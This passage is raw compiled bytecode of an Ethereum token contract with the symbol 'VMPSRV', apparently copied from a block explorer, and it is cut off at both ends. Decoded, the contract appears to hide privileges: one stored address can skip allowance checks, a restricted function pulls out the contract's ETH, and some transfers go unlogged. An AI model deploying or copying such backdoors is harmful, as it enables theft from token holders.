84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161104b91906120a1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd906128a0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b9061292e565b60405180910390fd5b5f8111611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d906129bc565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111df57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114dc576112206064611212600954600b54116111ff57600554611203565b6007545b8561192c90919063ffffffff16565b6119a390919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112cb5750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561131e575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561133b57600b5f815480929190611335906129da565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113c357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114075761140460646113f6600a54600b54116113e3576006546113e7565b6008545b8561192c90919063ffffffff16565b6119a390919063ffffffff16565b90505b5f611411306109e1565b9050600f60159054906101000a900460ff1615801561147c5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114945750600f60169054906101000a900460ff165b156114da575f8111156114d0575f60125482106114b3576012546114b5565b815b90506114ce8185106114c757816114c9565b845b6119ec565b505b6114d947611c57565b5b505b5f8111156115db576115348160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cbf90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115d291906120a1565b60405180910390a35b61162b8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1c90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116ce6116828284611d1c90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cbf90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117db578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117c58486611d1c90919063ffffffff16565b6040516117d291906120a1565b60405180910390a35b50505050565b5f808290506117f08585611d65565b156118785760035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61183b610e8e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b809150509392505050565b5f8383111582906118ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c19190611f70565b60405180910390fd5b505f83856118d89190612a21565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611928573d5f803e3d5ffd5b5050565b5f80830361193c575f905061199d565b5f828461194991906123db565b90508284826119589190612a81565b14611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f90612b21565b60405180910390fd5b809150505b92915050565b5f6119e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611def565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a2357611a22612b3f565b5b604051908082528060200260200182016040528015611a515781602001602082028036833780820191505090505b50905030815f81518110611a6857611a67612b6c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b309190612500565b81600181518110611b4457611b43612b6c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611baa30600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e95565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c0c959493929190612c50565b5f604051808303815f87803b158015611c23575f80fd5b505af1158015611c35573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cbb573d5f803e3d5ffd5b5050565b5f808284611ccd9190612ca8565b905083811015611d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0990612d25565b60405180910390fd5b8091505092915050565b5f611d5d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611883565b905092915050565b5f801515611d71611e50565b151503611d80575f9050611de9565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ddd5760019050611de9565b611de682611ea7565b90505b92915050565b5f8083118290611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c9190611f70565b60405180910390fd5b505f8385611e439190612a81565b9050809150509392505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415905090565b5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f4282611f00565b611f4c8185611f0a565b9350611f5c818560208601611f1a565b611f6581611f28565b840191505092915050565b5f6020820190508181035f830152611f888184611f38565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fbd82611f94565b9050919050565b611fcd81611fb3565b8114611fd7575f80fd5b50565b5f81359050611fe881611fc4565b92915050565b5f819050919050565b61200081611fee565b811461200a575f80fd5b50565b5f8135905061201b81611ff7565b92915050565b5f806040838503121561203757612036611f90565b5b5f61204485828601611fda565b92505060206120558582860161200d565b9150509250929050565b5f8115159050919050565b6120738161205f565b82525050565b5f60208201905061208c5f83018461206a565b92915050565b61209b81611fee565b82525050565b5f6020820190506120b45f830184612092565b92915050565b5f805f606084860312156120d1576120d0611f90565b5b5f6120de86828701611fda565b93505060206120ef86828701611fda565b92505060406121008682870161200d565b9150509250925092565b5f60ff82169050919050565b61211f8161210a565b82525050565b5f6020820190506121385f830184612116565b92915050565b5f6020828403121561215357612152611f90565b5b5f61216084828501611fda565b91505092915050565b61217281611fb3565b82525050565b5f60208201905061218b5f830184612169565b92915050565b5f80604083850312156121a7576121a6611f90565b5b5f6121b485828601611fda565b92505060206121c585828601611fda565b9150509250929050565b5f6121d982611f94565b9050919050565b6121e9816121cf565b81146121f3575f80fd5b50565b5f81359050612204816121e0565b92915050565b5f6020828403121561221f5761221e611f90565b5b5f61222c848285016121f6565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156122b75780860481111561229357612292612235565b5b60018516156122a25780820291505b80810290506122b085612262565b9450612277565b94509492505050565b5f826122cf576001905061238a565b816122dc575f905061238a565b81600181146122f257600281146122fc5761232b565b600191505061238a565b60ff84111561230e5761230d612235565b5b8360020a91508482111561232557612324612235565b5b5061238a565b5060208310610133831016604e8410600b84101617156123605782820a90508381111561235b5761235a612235565b5b61238a565b61236d848484600161226e565b9250905081840481111561238457612383612235565b5b81810290505b9392505050565b5f61239b82611fee565b91506123a68361210a565b92506123d37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122c0565b905092915050565b5f6123e582611fee565b91506123f083611fee565b92508282026123fe81611fee565b9150828204841483151761241557612414612235565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612450602083611f0a565b915061245b8261241c565b602082019050919050565b5f6020820190508181035f83015261247d81612444565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f6124b8601183611f0a565b91506124c382612484565b602082019050919050565b5f6020820190508181035f8301526124e5816124ac565b9050919050565b5f815190506124fa81611fc4565b92915050565b5f6020828403121561251557612514611f90565b5b5f612522848285016124ec565b91505092915050565b5f60408201905061253e5f830185612169565b61254b6020830184612169565b9392505050565b5f819050919050565b5f819050919050565b5f61257e61257961257484612552565b61255b565b611fee565b9050919050565b61258e81612564565b82525050565b5f60c0820190506125a75f830189612169565b6125b46020830188612092565b6125c16040830187612585565b6125ce6060830186612585565b6125db6080830185612169565b6125e860a0830184612092565b979650505050505050565b5f8151905061260181611ff7565b92915050565b5f805f6060848603121561261e5761261d611f90565b5b5f61262b868287016125f3565b935050602061263c868287016125f3565b925050604061264d868287016125f3565b9150509250925092565b5f60408201905061266a5f830185612169565b6126776020830184612092565b9392505050565b6126878161205f565b8114612691575f80fd5b50565b5f815190506126a28161267e565b92915050565b5f602082840312156126bd576126bc611f90565b5b5f6126ca84828501612694565b91505092915050565b50565b5f6126e15f83611f0a565b91506126ec826126d3565b5f82019050919050565b5f6020820190508181035f83015261270d816126d6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61276e602483611f0a565b915061277982612714565b604082019050919050565b5f6020820190508181035f83015261279b81612762565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6127fc602283611f0a565b9150612807826127a2565b604082019050919050565b5f6020820190508181035f830152612829816127f0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61288a602583611f0a565b915061289582612830565b604082019050919050565b5f6020820190508181035f8301526128b78161287e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612918602383611f0a565b9150612923826128be565b604082019050919050565b5f6020820190508181035f8301526129458161290c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129a6602983611f0a565b91506129b18261294c565b604082019050919050565b5f6020820190508181035f8301526129d38161299a565b9050919050565b5f6129e482611fee565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a1657612a15612235565b5b600182019050919050565b5f612a2b82611fee565b9150612a3683611fee565b9250828203905081811115612a4e57612a4d612235565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612a8b82611fee565b9150612a9683611fee565b925082612aa657612aa5612a54565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b0b602183611f0a565b9150612b1682612ab1565b604082019050919050565b5f6020820190508181035f830152612b3881612aff565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612bcb81611fb3565b82525050565b5f612bdc8383612bc2565b60208301905092915050565b5f602082019050919050565b5f612bfe82612b99565b612c088185612ba3565b9350612c1383612bb3565b805f5b83811015612c43578151612c2a8882612bd1565b9750612c3583612be8565b925050600181019050612c16565b5085935050505092915050565b5f60a082019050612c635f830188612092565b612c706020830187612585565b8181036040830152612c828186612bf4565b9050612c916060830185612169565b612c9e6080830184612092565b9695505050505050565b5f612cb282611fee565b9150612cbd83611fee565b9250828201905080821115612cd557612cd4612235565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d0f601b83611f0a565b9150612d1a82612cdb565b602082019050919050565b5f6020820190508181035f830152612d3c81612d03565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636556616d70697265205375727669766f727320697320612067726561742067616d65a2646970667358221220da0dcd63902cff4a564caed05a54bb41a963a40f018b332dab188a741be71cc764736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610101575f3560e01c8063715018a61161009457806395d89b411161006357806395d89b41146102fe578063a9059cbb14610328578063dd62ed3e14610364578063e44c74d8146103a0578063fa632a5e146103ca57610108565b8063715018a61461027e578063751039fc146102945780638da5cb5b146102aa57806391c734da146102d457610108565b806323b872dd116100d057806323b872dd146101c65780632c282d3d14610202578063313ce5671461021857806370a082311461024257610108565b806306fdde031461010c578063095ea7b31461013657806314c35dce1461017257806318160ddd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103f2565b60405161012d9190611f70565b60405180910390f35b348015610141575f80fd5b5061015c60048036038101906101579190612021565b610412565b6040516101699190612079565b60405180910390f35b34801561017d575f80fd5b5061018661042f565b60405161019391906120a1565b60405180910390f35b3480156101a7575f80fd5b506101b0610435565b6040516101bd91906120a1565b60405180910390f35b3480156101d1575f80fd5b506101ec60048036038101906101e791906120ba565b610458565b6040516101f99190612079565b60405180910390f35b34801561020d575f80fd5b506102166104b7565b005b348015610223575f80fd5b5061022c6109d9565b6040516102399190612125565b60405180910390f35b34801561024d575f80fd5b506102686004803603810190610263919061213e565b6109e1565b60405161027591906120a1565b60405180910390f35b348015610289575f80fd5b50610292610a27565b005b34801561029f575f80fd5b506102a8610b75565b005b3480156102b5575f80fd5b506102be610ca4565b6040516102cb9190612178565b60405180910390f35b3480156102df575f80fd5b506102e8610ccb565b6040516102f591906120a1565b60405180910390f35b348015610309575f80fd5b50610312610cd1565b60405161031f9190611f70565b60405180910390f35b348015610333575f80fd5b5061034e60048036038101906103499190612021565b610d0e565b60405161035b9190612079565b60405180910390f35b34801561036f575f80fd5b5061038a60048036038101906103859190612191565b610d2b565b60405161039791906120a1565b60405180910390f35b3480156103ab575f80fd5b506103b4610dad565b6040516103c191906120a1565b60405180910390f35b3480156103d5575f80fd5b506103f060048036038101906103eb919061220a565b610db3565b005b6060604051806060016040528060218152602001612d6c60219139905090565b5f61042561041e610e8e565b8484610e95565b6001905092915050565b60115481565b5f6009600a6104449190612391565b633b9aca0061045391906123db565b905090565b5f610464848484611058565b6104ac84610470610e8e565b6104a785604051806060016040528060288152602001612d44602891396104988a8a8a6117e1565b6118839092919063ffffffff16565b610e95565b600190509392505050565b6104bf610e8e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054290612466565b60405180910390fd5b600f60149054906101000a900460ff161561059b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610592906124ce565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061063730600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6106239190612391565b633b9aca0061063291906123db565b610e95565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c59190612500565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076f9190612500565b6040518363ffffffff1660e01b815260040161078c92919061252b565b6020604051808303815f875af11580156107a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107cc9190612500565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610853306109e1565b5f8061085d610ca4565b426040518863ffffffff1660e01b815260040161087f96959493929190612594565b60606040518083038185885af115801561089b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c09190612607565b505050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610960929190612657565b6020604051808303815f875af115801561097c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a091906126a8565b506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b5f6009905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a2f610e8e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab290612466565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b7d610e8e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612466565b60405180910390fd5b6009600a610c179190612391565b633b9aca00610c2691906123db565b6010819055506009600a610c3a9190612391565b633b9aca00610c4991906123db565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c7e9190612391565b633b9aca00610c8d91906123db565b604051610c9a91906120a1565b60405180910390a1565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f564d505352560000000000000000000000000000000000000000000000000000815250905090565b5f610d21610d1a610e8e565b8484611058565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60125481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e39906126f6565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e8b476118e5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efa90612784565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890612812565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161104b91906120a1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd906128a0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b9061292e565b60405180910390fd5b5f8111611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d906129bc565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111df57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114dc576112206064611212600954600b54116111ff57600554611203565b6007545b8561192c90919063ffffffff16565b6119a390919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112cb5750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561131e575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561133b57600b5f815480929190611335906129da565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113c357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114075761140460646113f6600a54600b54116113e3576006546113e7565b6008545b8561192c90919063ffffffff16565b6119a390919063ffffffff16565b90505b5f611411306109e1565b9050600f60159054906101000a900460ff1615801561147c5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114945750600f60169054906101000a900460ff165b156114da575f8111156114d0575f60125482106114b3576012546114b5565b815b90506114ce8185106114c757816114c9565b845b6119ec565b505b6114d947611c57565b5b505b5f8111156115db576115348160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cbf90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115d291906120a1565b60405180910390a35b61162b8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1c90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116ce6116828284611d1c90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cbf90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117db578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117c58486611d1c90919063ffffffff16565b6040516117d291906120a1565b60405180910390a35b50505050565b5f808290506117f08585611d65565b156118785760035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61183b610e8e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b809150509392505050565b5f8383111582906118ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c19190611f70565b60405180910390fd5b505f83856118d89190612a21565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611928573d5f803e3d5ffd5b5050565b5f80830361193c575f905061199d565b5f828461194991906123db565b90508284826119589190612a81565b14611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f90612b21565b60405180910390fd5b809150505b92915050565b5f6119e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611def565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a2357611a22612b3f565b5b604051908082528060200260200182016040528015611a515781602001602082028036833780820191505090505b50905030815f81518110611a6857611a67612b6c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b309190612500565b81600181518110611b4457611b43612b6c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611baa30600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e95565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c0c959493929190612c50565b5f604051808303815f87803b158015611c23575f80fd5b505af1158015611c35573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cbb573d5f803e3d5ffd5b5050565b5f808284611ccd9190612ca8565b905083811015611d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0990612d25565b60405180910390fd5b8091505092915050565b5f611d5d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611883565b905092915050565b5f801515611d71611e50565b151503611d80575f9050611de9565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ddd5760019050611de9565b611de682611ea7565b90505b92915050565b5f8083118290611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c9190611f70565b60405180910390fd5b505f8385611e439190612a81565b9050809150509392505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415905090565b5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f4282611f00565b611f4c8185611f0a565b9350611f5c818560208601611f1a565b611f6581611f28565b840191505092915050565b5f6020820190508181035f830152611f888184611f38565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fbd82611f94565b9050919050565b611fcd81611fb3565b8114611fd7575f80fd5b50565b5f81359050611fe881611fc4565b92915050565b5f819050919050565b61200081611fee565b811461200a575f80fd5b50565b5f8135905061201b81611ff7565b92915050565b5f806040838503121561203757612036611f90565b5b5f61204485828601611fda565b92505060206120558582860161200d565b9150509250929050565b5f8115159050919050565b6120738161205f565b82525050565b5f60208201905061208c5f83018461206a565b92915050565b61209b81611fee565b82525050565b5f6020820190506120b45f83018461209256